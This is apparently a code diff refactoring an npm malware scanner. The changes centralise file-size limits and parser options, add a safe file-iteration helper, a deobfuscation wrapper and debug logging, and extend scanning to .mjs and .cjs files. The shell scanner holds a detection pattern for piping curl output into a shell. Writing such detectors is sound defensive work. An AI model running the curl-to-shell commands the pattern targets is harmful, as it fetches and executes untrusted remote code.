229
211
 
230
212
  const relativePath = path.relative(targetPath, file);
231
213
 
@@ -252,7 +234,7 @@ function scanEntropy(targetPath, options = {}) {
252
234
  });
253
235
  }
254
236
  }
255
- }
237
+ });
256
238
 
257
239
  return threats;
258
240
  }
@@ -1,8 +1,9 @@
1
1
  const fs = require('fs');
2
2
  const path = require('path');
3
3
 
4
+ const { MAX_FILE_SIZE } = require('../shared/constants.js');
5
+
4
6
  const YAML_EXTENSIONS = ['.yml', '.yaml'];
5
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
6
7
  const MAX_DEPTH = 10;
7
8
 
8
9
  function scanGitHubActions(targetPath) {
@@ -3,11 +3,11 @@ const path = require('path');
3
3
  const nodeCrypto = require('crypto');
4
4
  const { loadCachedIOCs } = require('../ioc/updater.js');
5
5
  const { findFiles } = require('../utils.js');
6
+ const { MAX_FILE_SIZE } = require('../shared/constants.js');
6
7
 
7
8
  // Hash cache: filePath -> { hash, mtime }
8
9
  const hashCache = new Map();
9
10
  const MAX_CACHE_SIZE = 10000;
10
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
11
11
 
12
12
  async function scanHashes(targetPath) {
13
13
  const threats = [];
@@ -2,13 +2,13 @@ const fs = require('fs');
2
2
  const path = require('path');
3
3
  const acorn = require('acorn');
4
4
  const { findFiles } = require('../utils');
5
+ const { ACORN_OPTIONS: BASE_ACORN_OPTIONS } = require('../shared/constants.js');
5
6
 
6
7
  // --- Sensitive source patterns ---
7
8
  const SENSITIVE_MODULES = new Set(['fs', 'child_process', 'dns', 'os']);
8
9
 
9
10
  const ACORN_OPTIONS = {
10
- ecmaVersion: 'latest',
11
- sourceType: 'module',
11
+ ...BASE_ACORN_OPTIONS,
12
12
  allowReturnOutsideFunction: true,
13
13
  allowImportExportEverywhere: true,
14
14
  };
@@ -32,7 +32,7 @@ const SINK_INSTANCE_METHODS = new Set(['connect', 'write', 'send']);
32
32
  function buildModuleGraph(packagePath) {
33
33
  const graph = {};
34
34
  const files = findFiles(packagePath, {
35
- extensions: ['.js'],
35
+ extensions: ['.js', '.mjs', '.cjs'],
36
36
  excludedDirs: ['node_modules', '.git'],
37
37
  });
38
38
  for (const absFile of files) {
@@ -1,4 +1,5 @@
1
1
  const { NPM_PACKAGE_REGEX } = require('../shared/constants.js');
2
+ const { debugLog } = require('../utils.js');
2
3
 
3
4
  const REGISTRY_URL = 'https://registry.npmjs.org';
4
5
  const DOWNLOADS_URL = 'https://api.npmjs.org/downloads/point/last-week';
@@ -44,13 +45,13 @@ async function fetchWithRetry(url) {
44
45
  // 404 = package doesn't exist
45
46
  if (response.status === 404) {
46
47
  // Drain response body to free resources
47
- try { await response.text(); } catch {}
48
+ try { await response.text(); } catch (e) { debugLog('response drain failed:', e.message); }
48
49
  return null;
49
50
  }
50
51
 
51
52
  // 429 = rate limit, respect Retry-After header (capped at 30s)
52
53
  if (response.status === 429) {
53
- try { await response.text(); } catch {}
54
+ try { await response.text(); } catch (e) { debugLog('response drain failed:', e.message); }
54
55
  const retryAfter = parseInt(response.headers.get('retry-after'), 10);
55
56
  const delay = Math.min(retryAfter && retryAfter > 0 ? retryAfter * 1000 : 2000, 30000);
56
57
  await new Promise(r => setTimeout(r, delay));
@@ -59,7 +60,7 @@ async function fetchWithRetry(url) {
59
60
 
60
61
  if (!response.ok) {
61
62
  // Drain response body on errors
62
- try { await response.text(); } catch {}
63
+ try { await response.text(); } catch (e) { debugLog('response drain failed:', e.message); }
63
64
  return null;
64
65
  }
65
66
 
@@ -1,30 +1,15 @@
1
1
  const fs = require('fs');
2
2
  const path = require('path');
3
- const { findFiles } = require('../utils.js');
3
+ const { findFiles, forEachSafeFile } = require('../utils.js');
4
4
 
5
5
  // node_modules NOT excluded: detect obfuscated code in dependencies
6
6
  const OBF_EXCLUDED_DIRS = ['.git', '.muaddib-cache'];
7
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
8
7
 
9
8
  function detectObfuscation(targetPath) {
10
9
  const threats = [];
11
- const files = findFiles(targetPath, { extensions: ['.js'], excludedDirs: OBF_EXCLUDED_DIRS });
12
-
13
- for (const file of files) {
14
- // Skip files exceeding MAX_FILE_SIZE to avoid memory issues
15
- try {
16
- const stat = fs.statSync(file);
17
- if (stat.size > MAX_FILE_SIZE) continue;
18
- } catch {
19
- continue;
20
- }
10
+ const files = findFiles(targetPath, { extensions: ['.js', '.mjs', '.cjs'], excludedDirs: OBF_EXCLUDED_DIRS });
21
11
 
22
- let content;
23
- try {
24
- content = fs.readFileSync(file, 'utf8');
25
- } catch {
26
- continue; // Skip unreadable files
27
- }
12
+ forEachSafeFile(files, (file, content) => {
28
13
  const relativePath = path.relative(targetPath, file);
29
14
 
30
15
  const signals = [];
@@ -96,7 +81,7 @@ function detectObfuscation(targetPath) {
96
81
  file: relativePath
97
82
  });
98
83
  }
99
- }
84
+ });
100
85
 
101
86
  return threats;
102
87
  }
@@ -1,9 +1,8 @@
1
1
  const fs = require('fs');
2
2
  const path = require('path');
3
- const { findFiles } = require('../utils.js');
3
+ const { findFiles, forEachSafeFile } = require('../utils.js');
4
4
 
5
5
  const SHELL_EXCLUDED_DIRS = ['node_modules', '.git', '.muaddib-cache'];
6
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
7
6
 
8
7
  const MALICIOUS_PATTERNS = [
9
8
  { pattern: /curl.*\|.*sh/m, name: 'curl_pipe_shell', severity: 'HIGH' },
@@ -26,16 +25,7 @@ async function scanShellScripts(targetPath) {
26
25
  // Cherche les fichiers shell
27
26
  const files = findFiles(targetPath, { extensions: ['.sh', '.bash', '.zsh', '.command'], excludedDirs: SHELL_EXCLUDED_DIRS });
28
27
 
29
- for (const file of files) {
30
- let content;
31
- try {
32
- const stat = fs.statSync(file);
33
- if (stat.size > MAX_FILE_SIZE) continue;
34
- content = fs.readFileSync(file, 'utf8');
35
- } catch {
36
- continue; // Skip unreadable files
37
- }
38
-
28
+ forEachSafeFile(files, (file, content) => {
39
29
  // Strip comment lines to avoid false positives on documentation
40
30
  const activeContent = content.split('\n')
41
31
  .filter(line => !line.trimStart().startsWith('#'))
@@ -51,7 +41,7 @@ async function scanShellScripts(targetPath) {
51
41
  });
52
42
  }
53
43
  }
54
- }
44
+ });
55
45
 
56
46
  return threats;
57
47
  }
@@ -0,0 +1,49 @@
1
+ const path = require('path');
2
+ const { isDevFile, findJsFiles, forEachSafeFile } = require('../utils.js');
3
+
4
+ /**
5
+ * Shared scanner wrapper: iterates JS files, runs analyzeFileFn on original + deobfuscated code,
6
+ * deduplicates findings by type::message key.
7
+ * @param {string} targetPath - Root directory to scan
8
+ * @param {Function} analyzeFileFn - (content, filePath, basePath) => threats[]
9
+ * @param {object} [options]
10
+ * @param {Function} [options.deobfuscate] - Deobfuscation function
11
+ * @param {string[]} [options.excludedFiles] - Relative paths to skip
12
+ * @param {boolean} [options.skipDevFiles=true] - Whether to skip dev/test files
13
+ * @returns {Array} Combined threats
14
+ */
15
+ function analyzeWithDeobfuscation(targetPath, analyzeFileFn, options = {}) {
16
+ const threats = [];
17
+ const files = findJsFiles(targetPath);
18
+
19
+ forEachSafeFile(files, (file, content) => {
20
+ const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
21
+
22
+ if (options.excludedFiles && options.excludedFiles.includes(relativePath)) return;
23
+ if (options.skipDevFiles !== false && isDevFile(relativePath)) return;
24
+
25
+ // Analyze original code first (preserves obfuscation-detection rules)
26
+ const fileThreats = analyzeFileFn(content, file, targetPath);
27
+ threats.push(...fileThreats);
28
+
29
+ // Also analyze deobfuscated code for additional findings hidden by obfuscation
30
+ if (typeof options.deobfuscate === 'function') {
31
+ try {
32
+ const result = options.deobfuscate(content);
33
+ if (result.transforms.length > 0) {
34
+ const deobThreats = analyzeFileFn(result.code, file, targetPath);
35
+ const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
36
+ for (const dt of deobThreats) {
37
+ if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
38
+ threats.push(dt);
39
+ }
40
+ }
41
+ }
42
+ } catch { /* deobfuscation failed — skip */ }
43
+ }
44
+ });
45
+
46
+ return threats;
47
+ }
48
+
49
+ module.exports = { analyzeWithDeobfuscation };
@@ -86,4 +86,8 @@ const NPM_PACKAGE_REGEX = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*
86
86
  const MAX_TARBALL_SIZE = 50 * 1024 * 1024; // 50MB
87
87
  const DOWNLOAD_TIMEOUT = 30_000; // 30 seconds
88
88
 
89
- module.exports = { REHABILITATED_PACKAGES, NPM_PACKAGE_REGEX, MAX_TARBALL_SIZE, DOWNLOAD_TIMEOUT };
89
+ // Shared scanner constants
90
+ const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB — skip files larger than this to avoid memory issues
91
+ const ACORN_OPTIONS = { ecmaVersion: 2024, sourceType: 'module', allowHashBang: true };
92
+
93
+ module.exports = { REHABILITATED_PACKAGES, NPM_PACKAGE_REGEX, MAX_TARBALL_SIZE, DOWNLOAD_TIMEOUT, MAX_FILE_SIZE, ACORN_OPTIONS };
@@ -4,12 +4,13 @@ const path = require('path');
4
4
  const os = require('os');
5
5
  const acorn = require('acorn');
6
6
  const walk = require('acorn-walk');
7
- const { findJsFiles } = require('./utils.js');
7
+ const { findJsFiles, forEachSafeFile, debugLog } = require('./utils.js');
8
8
  const { fetchPackageMetadata, getLatestVersions } = require('./temporal-analysis.js');
9
9
  const { downloadToFile, extractTarGz, sanitizePackageName } = require('./shared/download.js');
10
10
 
11
+ const { MAX_FILE_SIZE, ACORN_OPTIONS } = require('./shared/constants.js');
12
+
11
13
  const REGISTRY_URL = 'https://registry.npmjs.org';
12
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
13
14
  const METADATA_TIMEOUT = 10_000;
14
15
 
15
16
  const SENSITIVE_PATHS = [
@@ -101,12 +102,12 @@ async function fetchPackageTarball(packageName, version) {
101
102
  await downloadToFile(tarballUrl, tgzPath);
102
103
  extractedDir = extractTarGz(tgzPath, tmpDir);
103
104
  } catch (err) {
104
- try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch {}
105
+ try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch (e) { debugLog('tmpDir cleanup failed:', e.message); }
105
106
  throw err;
106
107
  }
107
108
 
108
109
  const cleanup = () => {
109
- try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch {}
110
+ try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch (e) { debugLog('tmpDir cleanup failed:', e.message); }
110
111
  };
111
112
 
112
113
  return { dir: extractedDir, cleanup };
@@ -120,20 +121,9 @@ async function fetchPackageTarball(packageName, version) {
120
121
  function extractDangerousPatterns(directory) {
121
122
  const patterns = new Set();
122
123
  const files = findJsFiles(directory);
123
-
124
- for (const file of files) {
125
- try {
126
- const stat = fs.statSync(file);
127
- if (stat.size > MAX_FILE_SIZE) continue;
128
- } catch { continue; }
129
-
130
- let content;
131
- try { content = fs.readFileSync(file, 'utf8'); }
132
- catch { continue; }
133
-
124
+ forEachSafeFile(files, (file, content) => {
134
125
  extractPatternsFromSource(content, patterns);
135
- }
136
-
126
+ });
137
127
  return patterns;
138
128
  }
139
129
 
@@ -145,7 +135,7 @@ function extractDangerousPatterns(directory) {
145
135
  function extractPatternsFromSource(source, patterns) {
146
136
  let ast;
147
137
  try {
148
- ast = acorn.parse(source, { ecmaVersion: 2024, sourceType: 'module', allowHashBang: true });
138
+ ast = acorn.parse(source, ACORN_OPTIONS);
149
139
  } catch { return; }
150
140
 
151
141
  walk.simple(ast, {
package/src/utils.js CHANGED
@@ -1,5 +1,6 @@
1
1
  const fs = require('fs');
2
2
  const path = require('path');
3
+ const { MAX_FILE_SIZE } = require('./shared/constants.js');
3
4
 
4
5
  /**
5
6
  * Directories excluded from scanning.
@@ -145,7 +146,7 @@ function findFiles(dir, options = {}) {
145
146
  * @returns {string[]} List of .js file paths
146
147
  */
147
148
  function findJsFiles(dir, results = []) {
148
- return findFiles(dir, { extensions: ['.js'], results });
149
+ return findFiles(dir, { extensions: ['.js', '.mjs', '.cjs'], results });
149
150
  }
150
151
 
151
152
  /**
@@ -228,6 +229,61 @@ class Spinner {
228
229
  }
229
230
  }
230
231
 
232
+ /**
233
+ * Iterates files with size guard and error handling.
234
+ * Calls callback(file, content) for each readable file under MAX_FILE_SIZE.
235
+ */
236
+ function forEachSafeFile(files, callback) {
237
+ for (const file of files) {
238
+ try {
239
+ const stat = fs.statSync(file);
240
+ if (stat.size > MAX_FILE_SIZE) continue;
241
+ } catch { continue; }
242
+ let content;
243
+ try {
244
+ content = fs.readFileSync(file, 'utf8');
245
+ } catch { continue; }
246
+ callback(file, content);
247
+ }
248
+ }
249
+
250
+ /**
251
+ * Lists installed packages in node_modules (handles scoped packages).
252
+ * @param {string} targetPath - Root of the project
253
+ * @returns {string[]} Package names (e.g. ['express', '@babel/core'])
254
+ */
255
+ function listInstalledPackages(targetPath) {
256
+ const nm = path.join(targetPath, 'node_modules');
257
+ if (!fs.existsSync(nm)) return [];
258
+ const names = [];
259
+ try {
260
+ for (const item of fs.readdirSync(nm)) {
261
+ if (item.startsWith('.')) continue;
262
+ const itemPath = path.join(nm, item);
263
+ try {
264
+ const stat = fs.lstatSync(itemPath);
265
+ if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
266
+ if (item.startsWith('@')) {
267
+ for (const si of fs.readdirSync(itemPath)) {
268
+ const ss = fs.lstatSync(path.join(itemPath, si));
269
+ if (!ss.isSymbolicLink() && ss.isDirectory()) names.push(`${item}/${si}`);
270
+ }
271
+ } else {
272
+ names.push(item);
273
+ }
274
+ } catch { /* skip unreadable */ }
275
+ }
276
+ } catch { /* no node_modules readable */ }
277
+ return names;
278
+ }
279
+
280
+ /**
281
+ * Logs to stderr when MUADDIB_DEBUG is set. No-op otherwise.
282
+ */
283
+ function debugLog(...args) {
284
+ if (process.env.MUADDIB_DEBUG) console.error('[DEBUG]', ...args);
285
+ }
286
+
231
287
  module.exports = {
232
288
  EXCLUDED_DIRS,
233
289
  DEV_PATTERNS,
@@ -238,5 +294,8 @@ module.exports = {
238
294
  getCallName,
239
295
  Spinner,
240
296
  setExtraExcludes,
241
- getExtraExcludes
297
+ getExtraExcludes,
298
+ forEachSafeFile,
299
+ listInstalledPackages,
300
+ debugLog
242
301
  };